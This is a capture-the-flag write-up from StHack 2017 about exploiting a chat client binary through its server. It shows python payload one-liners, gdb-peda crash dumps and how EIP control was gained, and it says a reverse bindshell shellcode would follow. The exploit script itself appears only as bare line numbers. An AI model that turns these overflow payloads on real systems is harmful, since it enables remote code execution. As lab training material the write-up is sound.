Write-up StHack 2017 (client/server challenge)
The challenge was about exploiting a client/server chat framework. Both, client and server software were given as binaries (see files below).
On the online challenge, you could find a server running (of course) and a client (always reconnecting if you manage to crash it).
After a few time, I decided to suppose that the server was not
vulnerable, and the client was the weakest point (indeed, the client
was compiled with -zexestack
where the server wasn’t). Thus, I tried
to exploit the connected client through the server and a client that I
was running.
Locally, I started a server on port 4242:
#> ./server 4242
Then, a target client (using gdb
to trace it):
#> gdb-peda ./client
(peda) run 127.0.0.1 4242
Starting program: ./client 127.0.0.1 4242
server> ANONYM_1 join
Then, I try to find the limits of the chat framework:
#> python -c 'print("A" * 250 + "\n")' | ./client 127.0.0.1 4242
tcgetattr(): Inappropriate ioctl for device
server> ANONYM_2 join
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANONYM_2>
And, on the ANONYM_1
client terminal:
server> ANONYM_2 join
ANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ANONYM_2>
Yet, when trying to get 251 characters written at once, I got the following:
#> python -c 'print("A" * 251 + "\n")' | ./client 127.0.0.1 4242
tcgetattr(): Inappropriate ioctl for device
server> ANONYM_2 join
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed
tcsetattr(): Inappropriate ioctl for device
And, on the ANONYM_1 client terminal:
server> ANONYM_2 join
ANONYM_2> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed
[Inferior 1 (process 15351) exited normally]
Warning: not running or target is remote
Okay, I got the first client to be closed (as for the first one!).
Getting a bit more in the details, I noticed that the closing of the
TCP connection was decided in the read_server()
function (I tracked
it down by following the ‘-1’ returned by the functions stacked on the
call-stack) and, more precisely at the following assembly lines
(inside read_server()
):
0x8048f62: movzbl %al,%eax
0x8048f65: test %eax,%eax
0x8048f67: je 8048f70 <read_server+0x37>
0x8048f69: cmp $0x1,%eax
0x8048f6c: je 8048f83 <read_server+0x4a>
0x8048f6e: jmp 8048f96 <read_server+0x5d>
Setting a breakpoint on 0x8048f69
leads to the following (when
triggering a close()
):
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x1
ECX: 0x0
EDX: 0x0
ESI: 0x8
EDI: 0xffffd120 --> 0x92100002
EBP: 0xffffcf48 --> 0xffffd158 --> 0x0
ESP: 0xffffcf30 --> 0x0
EIP: 0x8048f69 (<read_server+48>: cmp $0x1,%eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048f62 <read_server+41>: movzbl %al,%eax
0x8048f65 <read_server+44>: test %eax,%eax
0x8048f67 <read_server+46>: je 0x8048f70 <read_server+55>
=> 0x8048f69 <read_server+48>: cmp $0x1,%eax
0x8048f6c <read_server+51>: je 0x8048f83 <read_server+74>
0x8048f6e <read_server+53>: jmp 0x8048f96 <read_server+93>
0x8048f70 <read_server+55>: sub $0x8,%esp
0x8048f73 <read_server+58>: pushl 0xc(%ebp)
[------------------------------------stack-------------------------------------]
0000| 0xffffcf30 --> 0x0
0004| 0xffffcf34 --> 0x8
0008| 0xffffcf38 --> 0xffffd120 --> 0x92100002
0012| 0xffffcf3c --> 0x1048d0f
0016| 0xffffcf40 --> 0x4
0020| 0xffffcf44 --> 0xffffd0a0 --> 0x8
0024| 0xffffcf48 --> 0xffffd158 --> 0x0
0028| 0xffffcf4c --> 0x8048da9 (<main+690>: add $0x10,%esp)
[------------------------------------------------------------------------------]
Breakpoint 1, 0x08048f69 in read_server ()
(peda) c
Continuing.
server> ANONYM_1 join
...
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x1
ECX: 0x0
EDX: 0x0
ESI: 0x8
EDI: 0xffffd120 --> 0x92100002
EBP: 0xffffcf48 --> 0xffffd158 --> 0x0
ESP: 0xffffcf30 --> 0x0
EIP: 0x8048f69 (<read_server+48>: cmp $0x1,%eax)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048f62 <read_server+41>: movzbl %al,%eax
0x8048f65 <read_server+44>: test %eax,%eax
0x8048f67 <read_server+46>: je 0x8048f70 <read_server+55>
=> 0x8048f69 <read_server+48>: cmp $0x1,%eax
0x8048f6c <read_server+51>: je 0x8048f83 <read_server+74>
0x8048f6e <read_server+53>: jmp 0x8048f96 <read_server+93>
0x8048f70 <read_server+55>: sub $0x8,%esp
0x8048f73 <read_server+58>: pushl 0xc(%ebp)
[------------------------------------stack-------------------------------------]
0000| 0xffffcf30 --> 0x0
0004| 0xffffcf34 --> 0x8
0008| 0xffffcf38 --> 0xffffd120 --> 0x92100002
0012| 0xffffcf3c --> 0x41048d0f
0016| 0xffffcf40 --> 0x4
0020| 0xffffcf44 --> 0xffffd0a0 --> 0x8
0024| 0xffffcf48 --> 0xffffd158 --> 0x0
0028| 0xffffcf4c --> 0x8048da9 (<main+690>: add $0x10,%esp)
[------------------------------------------------------------------------------]
Note that, during a correct exchange with the server, eax
is set to 0x1
.
After a few trial and error session, I finally located the character
to set to 0x1
to pass this condition.
#> python -c 'print("\x01" * 67 + "B" * (250 - 67) + "\n")' | ./client 127.0.0.1 4242
Here, the target client was not closing the TCP connection anymore. So, I decided to add a bit more to the payload:
#> python -c 'print("\x01" * 66 + "A" * 185 + "\n")' | ./client 127.0.0.1 4242
tcgetattr(): Inappropriate ioctl for device
server> ANONYM_2 join
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANONYM_2>
server> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASegmentation fault
And, on the target client, we have:
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0x1
ECX: 0xffffceed ("server> ", 'A' <repeats 65 times>)
EDX: 0x49 ('I')
ESI: 0x8
EDI: 0xffffd120 --> 0x92100002
EBP: 0xffffcec8 --> 0xffffcf18 ('A' <repeats 30 times>)
ESP: 0xffffceb0 --> 0xf7fe2940 (add $0x1a6c0,%edi)
EIP: 0x80489c9 (<write_term+81>: mov 0x13c(%eax),%eax)
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80489bf <write_term+71>: add $0x10,%esp
0x80489c2 <write_term+74>: addl $0x1,-0xc(%ebp)
0x80489c6 <write_term+78>: mov 0x10(%ebp),%eax
=> 0x80489c9 <write_term+81>: mov 0x13c(%eax),%eax
0x80489cf <write_term+87>: cmp -0xc(%ebp),%eax
0x80489d2 <write_term+90>: jg 0x80489ae <write_term+54>
0x80489d4 <write_term+92>: sub $0x4,%esp
0x80489d7 <write_term+95>: push $0x1
[------------------------------------stack-------------------------------------]
0000| 0xffffceb0 --> 0xf7fe2940 (add $0x1a6c0,%edi)
0004| 0xffffceb4 --> 0xf7df77c8 --> 0x4a74 ('tJ')
0008| 0xffffceb8 --> 0x41 ('A')
0012| 0xffffcebc --> 0x49 ('I')
0016| 0xffffcec0 --> 0x0
0020| 0xffffcec4 --> 0xffffd120 --> 0x92100002
0024| 0xffffcec8 --> 0xffffcf18 ('A' <repeats 30 times>)
0028| 0xffffcecc --> 0x8048e7c (<server_msg+123>: add $0x10,%esp)
[------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
0x080489c9 in write_term ()
So, it seems that we try to get something from 0x41414141
in memory.
Lets try to get something more suitable (something like 0xffff0101
):
#> python -c 'print("\x01" * 66 + "\x01\x01\xff\xff" * 46 + "\xff" + "\n")' | ./client 127.0.0.1 4242
This time the target client did not crash and is still waiting for some other data.
Then, I tried to enlarge the payload and various other things but
nothing was really moving. So, I decided to disconnect the attack
client and reconnect to send another payload. It turned out that the
second payload was indeed able to take the control of the saved eip
at some point.
Here is the script I came out after a (too long) trials and errors session:
1 2 3 4 5 6 7 8 9 10 11 |
|
The result on the target client is the following:
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x1
ECX: 0xffff013e --> 0x0
EDX: 0x0
ESI: 0x8
EDI: 0xffffd120 --> 0x92100002
EBP: 0xffff0101 --> 0x0
ESP: 0xffffcf20 --> 0xffff0102 --> 0x0
EIP: 0xdeadbeef
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0xdeadbeef
[------------------------------------stack-------------------------------------]
0000| 0xffffcf20 --> 0xffff0102 --> 0x0
0004| 0xffffcf24 --> 0xffff0102 --> 0x0
0008| 0xffffcf28 ('A' <repeats 200 times>...)
0012| 0xffffcf2c ('A' <repeats 200 times>...)
0016| 0xffffcf30 ('A' <repeats 196 times>, "\020ii\r"...)
0020| 0xffffcf34 ('A' <repeats 192 times>, "\020ii\r@")
0024| 0xffffcf38 ('A' <repeats 188 times>, "\020ii\r@")
0028| 0xffffcf3c ('A' <repeats 184 times>, "\020ii\r@")
[------------------------------------------------------------------------------]
Stopped reason: SIGSEGV
0xdeadbeef in ?? ()
(peda) bt
#0 0xdeadbeef in ?? ()
#1 0xffff0102 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
This is nearly the end now, because the client had an executable stack
and no ASLR (system wide). So, we just need to send a reverse
bindshell shellcode and replace 0xdeadbeef
by the address of the
begining of this shellcode. Anyway, we have way enough space to fit it
in the final A
padding at the end of the second injection, so there
is no more trouble here.
Finally, this challenge was a quite painfull and boring. It looks like
the path to the eip
control was hardcoded in some artificial way
and not really triggered by a programming bug. Also, it would have
been nice to have the source code of these programs (it would have
considerably speed-up the analysis as we only had about 8h to do the challenges).